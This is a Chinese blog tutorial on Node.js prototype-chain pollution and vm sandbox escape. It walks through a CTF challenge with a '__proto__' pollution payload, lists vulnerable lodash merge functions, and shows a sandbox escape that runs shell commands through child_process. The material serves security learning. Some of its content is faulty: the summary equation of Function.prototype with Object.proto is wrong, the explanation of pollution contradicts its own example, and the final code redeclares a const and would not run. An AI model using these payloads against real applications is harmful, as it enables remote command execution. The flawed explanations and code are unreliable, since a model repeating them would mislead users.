loading...
NodeJS常见漏洞总结(下)
Published in:2023-02-06 | category: Node.js

0x00前言

上一章分析了NodeJS比较常见的漏洞类型,这章主要分析一下NodeJS原型链及原型链污染和NodeJS沙箱逃逸漏洞。当然还是先做个语言的简介(凑字数)

简介

Node.js发布于2009年5月,由Ryan Dahl开发,是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O模型, 让JavaScript 运行在服务端的开发平台,它让JavaScript成为与PHPPythonPerlRuby等服务端语言平起平坐的脚本语言

0x01原型链

学习原型链污染之前先了解一下原型链,原型链顾名思义就是一条“链子”

它类似于JAVA中的继承关系但又不完全相同,没有父类子类的说法,而是绑在一条链上继承

有2个关键词(prototype,proto)

prototype

函数的原型对象,一个函数指向一个对象

proto

实例化对象的原型对象,一个对象指向对象,该指向对象即为它的原型对象

举例

1
2
3
4
5
6
7
8
9
10
function Food(bar,bar1,bar2) {
this.bar = 1;
this.bar1=5;
}
let food = new Food();
Food.prototype.bar2=6;
console.log(food.bar1);
console.log(food.bar2);
//bar1是5
//bar2是6

定义了一个Food函数并传入bar,bar1和bar2参数,实例化对象,之后修改函数的prototype的值,此时food就有了与Food相同的属性

总结

1
Function.prototype == Object.proto

关系图

引用一个Web师傅博客的图,更清晰易懂

0x02原型链污染

原型链污染的原理就是通过修改实例化对象的属性间接修改原型对象的属性达到污染的目的

1
2
3
4
5
6
7
8
9
function A(){
this.age=15;
}

var a = new A();
A.prototype.age=16;
console.log(a.age); //15

console.log(a.__proto__.age === A.prototype.age) //true

定义了一个原型对象A,并实例化对象a,修改了原型对象A的age,而实例化对象的age却不会更改,即没有被访问

漏洞利用方法

1、对象递归合并
2、按路径定义属性
3、对象克隆

CTF原题

1
2
3
4
5
6
7
8
9
10
11
12
13
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

题目的思路是当主键存在ctfshow,且ctfshow==’36dboy’时,返回flag

其中有一个关键函数是copy

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

这个函数是先判断object2和object1是否存在key,存在则调用copy函数,不存在则把object2的key赋值给object1

可以把object2设置为

1
{"__proto__":{"ctfshow":"36dboy"}}

解题思路就是在路由函数里使用了一次copy函数,判断object2中存在主键是proto,返回true,然后又第二次调用了copy函数,此时主键为ctfshow,而对象则变成了object2.proto,进入到下一次判断ctfshow是否等于36dboy,明显object1里开始没有ctfshow,则执行了json(),并写到user内容里,下次判断则返回了true

常见漏洞类型

loadsh模块

Lodash 模块原型链污染

lodash.defaultsDeep

lodash.merge

lodash.mergeWith

lodash.setWith

lodash.template

merge方法

merge(targe,source){}

作用是把source中的属性全部赋值到target中,如果属性名已经存在,target值不变,如果target中属性名不存在,那么新建属性,对应赋值

0x03NodeJS沙箱逃逸

NodeJS里面有一个VM模块,其作用是提供一个虚拟的环境(类似于Windows的虚拟机),可以在里面随意操作而不影响真正程序的正常运行

1
2
3
4
const vm = require("vm")
const env = vm.runInNewContext();

console.log(env)

runInNewContext是创建全局环境,其中env就是sandbox对象

1
2
3
4
5
const vm = require("vm")
const env = vm.runInNewContext("this.constructor.constructor");
//this.constructor ==>> [Function:Object]
//this.constructor.constructor ==>> [Function:function] 递归创建对象
console.log(env)

其中this.constructor是创建一个函数对象,参考上面的关系图,此时可以调用模块执行命令

1
2
3
4
5
6
7
8
9
const vm = require("vm")
const env = vm.runInNewContext("this.constructor.constructor");
//this.constructor ==>> [Function:Object]
//this.constructor.constructor ==>> [Function:function] 递归创建对象
console.log(env)

const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()`);

//返回一个process对象,并调用对象的mainModule,类似运行虚拟机,在虚拟机里引用child_process模块,执行命令

注:该沙箱使用的全局环境来自于主系统内,也就是本机

Prev:
Docker基础命令
Next:
NodeJS常见漏洞总结(上)
catalog
catalog